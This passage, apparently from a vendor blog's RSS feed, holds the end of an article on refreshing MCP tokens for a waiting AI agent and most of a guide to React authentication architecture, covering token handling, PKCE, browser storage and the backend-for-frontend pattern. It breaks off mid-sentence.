<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="back-to-the-approval-that-came-too-late">Back to the approval that came too late<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-token-expires-mid-run#back-to-the-approval-that-came-too-late" class="hash-link" aria-label="Direct link to Back to the approval that came too late" title="Direct link to Back to the approval that came too late" translate="no">​</a></h2>
<p>Return to the agent waiting for approval. Twenty minutes pass, and the access token expires. When the approval arrives, the MCP client calls <code>token()</code> before its next request. <code>TokenService</code> refreshes the expired token and returns the new one.</p>
<p>The agent makes the same tool call it would have made twenty minutes earlier. It doesn't need a new MCP client or any OAuth logic in its prompt.</p>
<p>The responsibilities stay separate:</p>
<table><thead><tr><th>Component</th><th>Responsibility</th></tr></thead><tbody><tr><td>LangGraph agent</td><td>Chooses tools</td></tr><tr><td><code>TokenService</code></td><td>Stores, reuses, and refreshes each user's tokens</td></tr><tr><td><code>AuthProvider</code></td><td>Hands the current token to each MCP request</td></tr><tr><td>MCP server</td><td>Carries state between tool calls in explicit handles</td></tr></tbody></table>
<p>Here's the request path after the change:</p>
<figure class="flow_hvWA"><figcaption class="title__OHd">The complete path</figcaption><ol class="steps_ptmz" aria-label="The complete path"><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R">The agent chooses an MCP tool</span></div></li><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R">The run's MCP client prepares the request</span></div></li><li class="item_fcGx"><div class="box_IgAy accent_cbUk"><span class="text_K99R"><code>token()</code> asks for this user's token</span></div></li><li class="item_fcGx"><div class="columns_z60Q"><div class="column_o_MC"><span class="pathLabel_I0qA">still valid</span><ol class="steps_ptmz"><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R">Reuse it</span></div></li></ol></div><div class="column_o_MC"><span class="pathLabel_I0qA">expiring</span><ol class="steps_ptmz"><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R">Refresh it, once</span></div></li></ol></div></div></li><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R">The request goes out with the current token</span></div></li><li class="item_fcGx"><div class="box_IgAy success_R_Rq"><span class="text_K99R">The tool runs</span></div></li></ol></figure>
<p>An access token can expire while an agent is waiting, but the next MCP request can still use a fresh one. The application manages tokens, and the agent keeps working with tools.</p>
<p>For the broader authorization flow, see <a class="" href="https://choreolabs.com/identity-and-access-management/learn/mcp-authorization-guide">MCP Authorization: The Complete Developer Guide</a>.</p>]]></content:encoded>
            <category>MCP authorization</category>
            <category>AI Agent Identity &amp; MCP</category>
        </item>
        <item>
            <title><![CDATA[The Architect's Guide to React Authentication: Choosing a Flow, a Store and a Boundary]]></title>
            <link>https://choreolabs.com/identity-and-access-management/learn/architects-guide-react-authentication</link>
            <guid>https://choreolabs.com/identity-and-access-management/learn/architects-guide-react-authentication</guid>
            <pubDate>Fri, 25 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Three decisions define React authentication architecture: which flow, where tokens live, and where enforcement happens. A guide for technical decision makers.]]></description>
            <content:encoded><![CDATA[<p>You may be asked to add login and user sign-up to your React application.</p>
<p>It sounds like an implementation task, but before you choose an SDK or write any code, there are a few architecture decisions you need to get right. Where should identity live? Who should be responsible for it? What should reach the browser? How should your React application connect to it? And when the application calls a backend, where should access actually be enforced?</p>
<p>This guide is intended to help you think through those questions as an architect.</p>
<p>It does not assume that you already understand identity standards, protocols or IAM terminology, and the goal is not to teach you all of them. We will introduce those concepts only when they help explain a particular architecture decision.</p>
<p>Instead, the focus is on giving you the right questions to ask yourself and the other teams involved, so you can find the right answers for your application and establish a solid authentication architecture before the implementation starts.</p>
<p>We will work through the architecture by answering a few questions: what does identity actually mean for a React application, and why does part of it need to live outside the browser; who should run and own that identity capability; once a user signs in, who should be responsible for handling the tokens; how should your React application connect to the identity system; what identity information can React use inside the application; and when React calls a protected backend, where should the real access-control decision happen.</p>
<p>By the end, you should have a clear picture of the authentication architecture around your React application and know what decisions need to be made before choosing a product, SDK or implementation pattern.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="start-with-what-identity-means-for-your-application">Start with what "identity" means for your application<a href="https://choreolabs.com/identity-and-access-management/learn/architects-guide-react-authentication#start-with-what-identity-means-for-your-application" class="hash-link" aria-label="Direct link to Start with what &quot;identity&quot; means for your application" title="Direct link to Start with what &quot;identity&quot; means for your application" translate="no">​</a></h2>
<p>When somebody says "we need authentication," the visible requirement is normally sign-in.</p>
<p>But a real application usually needs more than checking a username and password.</p>
<p>It needs to know who the user is. It needs some way to decide what that user can do. It needs to remember that the user already signed in so they are not asked to prove themselves on every API call. Somebody has to create, update and disable user accounts. Eventually there will be password recovery, multi-factor authentication, enterprise sign-in or another requirement that was not part of the first implementation.</p>
<p>These different jobs have names in the identity world.</p>
<p>Checking who someone is is <strong>authentication</strong>.</p>
<p>Deciding what they are allowed to do is <strong>authorization</strong>.</p>
<p>Creating, updating and disabling their accounts is generally part of <strong>user lifecycle management</strong>.</p>
<p>The terminology itself is less important than understanding that these are separate responsibilities.</p>
<p>A user being successfully authenticated does not mean they should be allowed to do everything in your application.</p>
<p>As an example, both a finance administrator and a normal employee may successfully sign in. Authentication tells you that both users are who they claim to be. Authorization decides whether each user can approve a payment.</p>
<p>The important question for React architecture is where these responsibilities can safely live.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="why-identity-cannot-simply-live-inside-react">Why identity cannot simply live inside React<a href="https://choreolabs.com/identity-and-access-management/learn/architects-guide-react-authentication#why-identity-cannot-simply-live-inside-react" class="hash-link" aria-label="Direct link to Why identity cannot simply live inside React" title="Direct link to Why identity cannot simply live inside React" translate="no">​</a></h2>
<p>A React application runs inside a browser on a device you do not control.</p>
<p>Anyone using your application can download the JavaScript, inspect it, debug it and change what runs in their browser. Anything included in the bundle should therefore be treated as public.</p>
<p>That gives us a useful architectural boundary.</p>
<p>React can participate in authentication, but it cannot be the trusted authority for authentication.</p>
<p>Consider a simple example:</p>
<div class="language-jsx codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-jsx codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain">user</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token property-access">isAdmin</span><span class="token plain"> </span><span class="token operator">&amp;&amp;</span><span class="token plain"> </span><span class="token tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag class-name" style="color:#0B1633;font-weight:600">AdminPanel</span><span class="token tag" style="color:#1F4FFF"> </span><span class="token tag punctuation" style="color:#5A6072">/&gt;</span><span class="token punctuation" style="color:#5A6072">}</span><br></span></code></pre></div></div>
<p>There is nothing wrong with this.</p>
<p>If the user is not an administrator, hiding the admin interface gives them the correct user experience.</p>
<p>But this code cannot protect the backend operation itself.</p>
<p>A user can modify the JavaScript. They can skip the UI completely and call your API directly.</p>
<p>So the React application can use identity information to decide what to display, but the trusted access decision still needs to happen somewhere outside the browser.</p>
<p>The same applies to sign-in itself.</p>
<p>React can collect a password, redirect the user to a sign-in page or start a passkey flow. But something outside React needs to keep the user record and verify the proof.</p>
<p>Account recovery also needs something outside the browser. The system may need to send an email, validate a one-time link, record recovery attempts and invalidate old credentials.</p>
<p>Once you look at the problem this way, identity is not another library that belongs inside your component tree.</p>
<p>It is a capability your application depends on.</p>
<p>The next architectural question is therefore straightforward:</p>
<p><strong>Where should that identity capability run, and who should be responsible for it?</strong></p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="four-ways-to-provide-identity">Four ways to provide identity<a href="https://choreolabs.com/identity-and-access-management/learn/architects-guide-react-authentication#four-ways-to-provide-identity" class="hash-link" aria-label="Direct link to Four ways to provide identity" title="Direct link to Four ways to provide identity" translate="no">​</a></h2>
<p>There are four common answers.</p>
<p>You can build it yourself, use an authentication library inside your application, run a separate identity server, or use a managed identity service.</p>
<p>Each can produce a working sign-in screen.</p>
<p>The differences normally become visible later, when the requirements grow.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="build-it-yourself">Build it yourself<a href="https://choreolabs.com/identity-and-access-management/learn/architects-guide-react-authentication#build-it-yourself" class="hash-link" aria-label="Direct link to Build it yourself" title="Direct link to Build it yourself" translate="no">​</a></h3>
<p>The first option is to own the identity implementation yourself.</p>
<p>Your backend stores users, verifies passwords and creates whatever session mechanism your application uses.</p>
<p>For a prototype, a hackathon or a small internal application, this can be reasonable.</p>
<p>The problem starts when the requirement stops being simply "check this password."</p>
<p>Soon you need email verification, password recovery, account locking, session revocation, multi-factor authentication, audit information and possibly single sign-on with another company's identity system.</p>
<p>None of these is impossible to build.</p>
<p>The real question is whether identity is something your application team wants to build and continue operating several years from now.</p>
<p>You are also taking responsibility for the security of that system. Libraries need security updates, behaviour has to be reviewed, and every new requirement extends a piece of infrastructure that your team created mainly because the application originally needed a login screen.</p>
<p>For most production applications, I would only choose this when owning identity itself is an intentional requirement.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="use-an-authentication-library-inside-the-application">Use an authentication library inside the application<a href="https://choreolabs.com/identity-and-access-management/learn/architects-guide-react-authentication#use-an-authentication-library-inside-the-application" class="hash-link" aria-label="Direct link to Use an authentication library inside the application" title="Direct link to Use an authentication library inside the application" translate="no">​</a></h3>
<p>A second option is to use an authentication library such as Auth.js or Better Auth.</p>
<p>This removes a lot of low-level implementation work.</p>
<p>Instead of writing password handling, sessions and provider integrations completely yourself, you use a library that already provides much of that behaviour.</p>
<p>The important architectural point is where it runs.</p>
<p>The authentication capability still lives as part of your application stack.</p>
<p>For one application, this can be a very practical model.</p>
<p>But assume you later have three applications that should share the same users. Or an enterprise customer asks to connect its own company login. Or security wants authentication policy managed in one place.</p>
<p>At that stage, identity is starting to become reusable infrastructure rather than one feature inside one application.</p>
<p>That does not make an authentication library the wrong choice. It tells you where the natural boundary of that approach sits.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="run-a-separate-identity-service">Run a separate identity service<a href="https://choreolabs.com/identity-and-access-management/learn/architects-guide-react-authentication#run-a-separate-identity-service" class="hash-link" aria-label="Direct link to Run a separate identity service" title="Direct link to Run a separate identity service" translate="no">​</a></h3>
<p>The third option is to move identity into its own service.</p>
<p>Examples include WSO2 Identity Server from WSO2 Identity Platform and Keycloak.</p>
<p>Your React application no longer owns the full authentication lifecycle. Instead, it redirects the user to the identity provider, or still captures user input and calls an API exposed by the identity service which performs authentication and returns the result.</p>
<p>This separation becomes useful when multiple applications need the same users or security policies.</p>
<p>React remains responsible for your application experience. The identity service becomes responsible for identity.</p>
<p>The trade-off is operational.</p>
<p>You now have another production service to run. Your team is responsible for upgrades, security patches, availability, backups and configuration.</p>
<p>For organizations that need identity inside their own infrastructure, that control may be exactly what they want.</p>
<p>For teams that do not want another platform to operate, it may not be.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="use-identity-as-a-managed-service">Use identity as a managed service<a href="https://choreolabs.com/identity-and-access-management/learn/architects-guide-react-authentication#use-identity-as-a-managed-service" class="hash-link" aria-label="Direct link to Use identity as a managed service" title="Direct link to Use identity as a managed service" translate="no">​</a></h3>
<p>The fourth option keeps identity as a separate capability but lets somebody else operate it.</p>
<p>Examples include WSO2 Identity Platform and Auth0.</p>
<p>The provider takes care of running the identity infrastructure, including upgrades, scaling and availability. Your team integrates the application and configures the authentication behaviour it needs.</p>
<p>For many teams, this is the shortest route to production authentication because identity does not become another service they need to operate.</p>
<p>The trade-off moves somewhere else.</p>
<p>You depend on an external provider, its deployment model and its commercial model.</p>
<p>If identity must remain inside your infrastructure, if the environment has no route to the public internet, or if you have a hard data-residency requirement that the service cannot meet, a managed public service may not fit.</p>
<p>The four approaches can be summarized as follows.</p>
<table><thead><tr><th>Approach</th><th>Where identity runs</th><th>Who operates it</th><th>Natural fit</th></tr></thead><tbody><tr><td>Build it yourself</td><td>Your application backend</td><td>Your team</td><td>Specialised cases where you deliberately want to own identity</td></tr><tr><td>Authentication library</td><td>Your application stack</td><td>Your team</td><td>Small application-centric authentication</td></tr><tr><td>Separate identity server</td><td>Independent service</td><td>Your team</td><td>Identity shared across applications, with infrastructure under your control</td></tr><tr><td>Managed identity service</td><td>Independent service</td><td>Provider</td><td>Shared identity without operating the identity platform yourself</td></tr></tbody></table>
<p>Once you make this decision, the user can sign in.</p>
<p>But your React application still has another problem.</p>
<p>The identity system knows that the user successfully authenticated. Your application and APIs now need a way to carry that result across requests.</p>
<p>This is where tokens enter the architecture.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="why-tokens-exist">Why tokens exist<a href="https://choreolabs.com/identity-and-access-management/learn/architects-guide-react-authentication#why-tokens-exist" class="hash-link" aria-label="Direct link to Why tokens exist" title="Direct link to Why tokens exist" translate="no">​</a></h2>
<p>Assume the user signs in successfully.</p>
<p>You do not want to ask them to prove who they are again every time React loads a page or calls a backend. Instead, the identity system returns information that represents the result of that authentication. This information is commonly carried using a <strong>token</strong>.</p>
<p>There are several token types depending on the protocol and purpose. OAuth 2.0 has access tokens, OpenID Connect has ID tokens, and SAML uses assertions. Their formats can also be different. A token may be represented as a JWT, while a SAML assertion is XML, for example.</p>
<p>For this part of the architecture, the important distinction is between the <strong>OpenID Connect ID token</strong> and the <strong>OAuth 2.0 access token</strong>.</p>
<p>When your application needs to establish who the signed-in user is, the token designed for that purpose is the <strong>ID token</strong>. OpenID Connect returns an ID token containing claims about the authentication event and the authenticated user.</p>
<p>A typical ID token may look like this after it is decoded:</p>
<div class="language-json codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-json codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"iss"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"https://id.example.com"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"sub"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"248289761001"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"aud"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"react-app"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"exp"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token number" style="color:#C43300">1787817600</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"iat"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token number" style="color:#C43300">1787814000</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"name"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"Alice"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"email"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"alice@example.com"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><br></span></code></pre></div></div>
<p>You do not need to understand every possible claim at this stage. A few are enough to understand how the token is used: <code>iss</code> tells you which identity system issued the token, <code>sub</code> is the stable identifier for the authenticated user, <code>aud</code> tells you which application the token was issued for, <code>exp</code> tells you when the token expires, and claims such as <code>name</code> and <code>email</code> provide information about the user.</p>
<p>The important part is that your application should not simply decode this JSON and trust what it says.</p>
<p>The ID token needs to be validated first. At a minimum, the application handling the OpenID Connect flow needs to verify that the token came from the identity provider it trusts, was issued for the expected application, has not expired, and has a valid signature.</p>
<p>In practice, you normally do not write this validation logic yourself. If your React application handles the OpenID Connect flow directly, the SDK should perform these checks for you. If you use a backend such as a BFF, that backend validates the ID token, establishes the application session and gives React only the user information it needs.</p>
<p>An <strong>access token</strong> has a different job.</p>
<p>It is issued so a client can access a protected API. The API, rather than the React application, is the intended consumer of that token.</p>
<p>This distinction is easy to miss because an ID token and an access token may both use the JWT format and may even contain some similar claims. That does not make them interchangeable.</p>
<p>If your application needs to know who signed in, that identity should come from the OpenID Connect authentication result and the ID token, or from an application session established from that result. You should not take an OAuth access token, decode it and treat whatever user information happens to be inside it as the application's authenticated identity.</p>
<p>The same principle applies regardless of who handles the tokens.</p>
<p>If React handles the OpenID Connect flow directly, it receives and validates the ID token through the SDK.</p>
<p>If a BFF handles authentication, React may never see the ID token at all. The BFF validates it, creates an application session and exposes the authenticated user state to React.</p>
<p>The access token remains for a different boundary: calling the protected API.</p>
<p>This is why tokens appear in the architecture in the first place.</p>
<p>Your React application runs in one place, the trusted identity system runs somewhere else, and the protected API may run somewhere else again. Tokens allow authentication results and API access to move across those boundaries without repeating the sign-in process for every request.</p>
<p>In modern React applications, the standards you will most commonly encounter here are <strong>OAuth 2.0</strong> and <strong>OpenID Connect</strong>, usually shortened to OIDC.</p>
<p>You do not need to implement these standards yourself to use them. Most identity platforms and SDKs handle the protocol details.</p>
<p>But you do need to make one architecture decision that directly affects your application:</p>
<p><strong>Who is responsible for handling these tokens?</strong></p>
<p>There are three common patterns.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="react-handles-the-tokens">React handles the tokens<a href="https://choreolabs.com/identity-and-access-management/learn/architects-guide-react-authentication#react-handles-the-tokens" class="hash-link" aria-label="Direct link to React handles the tokens" title="Direct link to React handles the tokens" translate="no">​</a></h2>
<p>The first pattern is common in single-page applications.</p>
<p>In this model, the React application participates directly in the OpenID Connect flow. After the user signs in, the application receives the authentication result and the tokens it needs.</p>
<p>That normally means two different things are happening: the <strong>ID token</strong> is used to establish the authenticated user, and the <strong>access token</strong> is used when React calls a protected API.</p>
<p>If the identity provider also issues a refresh token to the browser application, that credential can be used to obtain new access tokens without asking the user to sign in again.</p>
<p>The important architectural point is that React is now directly responsible for handling some or all of these credentials.</p>
<p>When React calls an API, the access token is normally sent as follows:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">Authorization: Bearer &lt;access-token&gt;</span><br></span></code></pre></div></div>
<p>As discussed earlier, the access token is for the API. React should not decode that token and use whatever user information happens to be inside it as the source of truth for the signed-in user.</p>
<p>The authenticated user should come from the validated OpenID Connect authentication result, normally the ID token and the user state built from it.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="why-pkce-appears-in-this-pattern">Why PKCE appears in this pattern<a href="https://choreolabs.com/identity-and-access-management/learn/architects-guide-react-authentication#why-pkce-appears-in-this-pattern" class="hash-link" aria-label="Direct link to Why PKCE appears in this pattern" title="Direct link to Why PKCE appears in this pattern" translate="no">​</a></h3>
<p>A React application runs in the browser, so it cannot safely keep a permanent client secret.</p>
<p>That creates a problem during the authorization flow. The application needs to exchange the authorization code returned after sign-in, but it cannot authenticate itself using a secret embedded in the JavaScript bundle.</p>
<p>This is where <strong>Proof Key for Code Exchange</strong>, or <strong>PKCE</strong>, comes in.</p>
<p>When React starts the sign-in flow, it creates a temporary random value and sends a derived value with the authorization request. When the authorization code comes back, the application has to provide the original value before the identity provider will complete the exchange.</p>
<p>In simple terms, PKCE helps prove that the application completing the flow is the same one that started it.</p>
<p>Your React code normally does not implement this directly. A suitable OIDC SDK handles it for you.</p>
<p>PKCE protects the authorization-code exchange. It does not make the browser itself trusted, and it does not solve the problem of protecting tokens after they have reached the browser.</p>
<p>That leads to the next decision.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="where-do-the-tokens-live">Where do the tokens live?<a href="https://choreolabs.com/identity-and-access-management/learn/architects-guide-react-authentication#where-do-the-tokens-live" class="hash-link" aria-label="Direct link to Where do the tokens live?" title="Direct link to Where do the tokens live?" translate="no">​</a></h3>
<p>Once tokens are available to the React application, they have to be kept somewhere for as long as the application needs them.</p>
<p>There is no browser storage option that turns an untrusted browser into a trusted environment. The choices mainly change how long the credential remains available and how easily it can be extracted.</p>
<table><thead><tr><th>Storage location</th><th>Survives refresh</th><th>Main consideration</th></tr></thead><tbody><tr><td>Memory</td><td>No</td><td>Token disappears when the page is reloaded</td></tr><tr><td>Web Worker</td><td>No</td><td>Can isolate token handling from normal application code, with additional complexity</td></tr><tr><td>sessionStorage</td><td>Yes, within the tab</td><td>JavaScript running on the page can read it</td></tr><tr><td>localStorage</td><td>Yes</td><td>JavaScript running on the page can read and copy it</td></tr></tbody></table>
<p>The distinction that matters here is between <strong>stealing a credential</strong> and <strong>using the authenticated session while malicious code is already running inside the page</strong>.</p>
<p>Keeping an access token in memory can reduce the chance that an attacker extracts it and reuses it later from somewhere else.</p>
<p>But if malicious JavaScript is already executing in your application, it may still be able to make API requests as the user while that page remains active.</p>
<p>The same consideration applies to the ID token. React may need the authenticated user state derived from it, but that does not mean the application should keep the raw ID token around longer than necessary.</p>
<p>A good SDK can hide much of this lifecycle from your application code, but the architectural boundary does not change: in this pattern, authentication credentials reach the browser, so browser compromise remains part of your threat model.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="your-backend-handles-part-of-the-token-flow">Your backend handles part of the token flow<a href="https://choreolabs.com/identity-and-access-management/learn/architects-guide-react-authentication#your-backend-handles-part-of-the-token-flow" class="hash-link" aria-label="Direct link to Your backend handles part of the token flow" title="Direct link to Your backend handles part of the token flow" translate="no">​</a></h2>
<p>The second pattern assumes your React application already has a backend.</p>
<p>The user still signs in with the identity provider, but the backend takes responsibility for the final part of the OpenID Connect flow.</p>
<p>Instead of React exchanging the authorization code directly, the backend performs that exchange and receives the tokens.</p>
<p>At this point, the backend can validate the ID token, establish who the user is, and keep longer-lived credentials such as the refresh token on the server.</p>
<p>React can still receive a short-lived access token if it needs to call a protected API directly.</p>
<p>So the responsibilities are split: the backend handles the OpenID Connect response and establishes the authenticated user, the backend keeps the refresh token, and React may still receive a short-lived access token for API calls.</p>
<p>This is an important distinction from the first pattern.</p>
<p>React no longer needs to treat the ID token as part of its authentication state, and it does not need to keep the refresh token. The backend can create an application session or return only the user information React actually needs.</p>
<p>The access token is still different. If React needs to call the protected API directly, the backend can give it a short-lived access token for that purpose.</p>
<p>The flow now looks more like this:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">React application</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    |</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    | Start sign-in</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    v</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">Identity provider</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    |</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    | Authorization code</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    v</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">Backend</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    |</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    | Token exchange</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    v</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">Identity provider</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">Backend</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    | \</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    |  \ Refresh token stays here</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    |</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    | Short-lived access token</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    v</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">React application</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    |</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    | Access token</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    v</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">Protected API</span><br></span></code></pre></div></div>
<p>This changes the exposure considerably.</p>
<p>The refresh token is normally the credential with the longest useful lifetime. If it remains on the server, compromising the React application does not automatically give an attacker the ability to continue obtaining new access tokens over a long period.</p>
<p>React still handles an access token, so the browser has not disappeared from the credential path completely.</p>
<p>If malicious JavaScript runs in the page, it may still be able to use or extract that access token while it is valid.</p>
<p>The difference is that the damage is bounded by the lifetime and privileges of that short-lived token rather than by a longer-lived refresh credential.</p>
<p>This pattern is therefore useful when you already have a backend and want to move the most sensitive parts of the authentication flow out of the browser without changing the way React calls your APIs.</p>
<p>The backend becomes responsible for authentication and token renewal.</p>
<p>React remains responsible for presenting the authenticated experience and using short-lived access tokens when it needs to call protected APIs directly.</p>
<p>If you want to remove access tokens from React as well, the boundary needs to move one step further.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="your-backend-handles-all-tokens">Your backend handles all tokens<a href="https://choreolabs.com/identity-and-access-management/learn/architects-guide-react-authentication#your-backend-handles-all-tokens" class="hash-link" aria-label="Direct link to Your backend handles all tokens" title="Direct link to Your backend handles all tokens" translate="no">​</a></h2>
<p>The third pattern moves token handling completely out of the React application.</p>
<p>React never receives the ID token, access token or refresh token.</p>
<p>The backend handles the OpenID Connect flow, validates the ID token, establishes the authenticated user and keeps all OAuth tokens on the server.</p>
<p>React receives an application session instead.</p>
<p>This is normally represented using a secure, HTTP-only cookie.</p>
<p>From React's point of view, authentication now looks much simpler.</p>
<p>The browser does not need to know anything about OAuth tokens. It only knows that it has an authenticated application session.</p>
<p>When React needs data, it calls your backend.</p>
<p>The browser sends the session cookie automatically, the backend identifies the user, obtains or uses the appropriate access token, and calls the protected API on the user's behalf.</p>
<p>This architecture is commonly called a <strong>Backend for Frontend</strong>, or <strong>BFF</strong>.</p>
<p>The flow looks like this:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">React application</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    |</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    | Start sign-in</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    v</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">BFF</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    |</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    v</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">Identity provider</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    |</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    | Authorization response</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    v</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">BFF</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    |</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    | Validate ID token</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    | Keep access + refresh tokens</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    | Create application session</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    v</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">React application</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    |</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    | Session cookie</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    v</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">BFF</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    |</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    | Access token</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    v</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">Protected API</span><br></span></code></pre></div></div>
<p>The important boundary is now very clear.</p>
<p>React never needs to handle identity tokens or API tokens directly.</p>
<p>The BFF establishes the user from the OpenID Connect response and exposes only the user information the application needs, for example:</p>
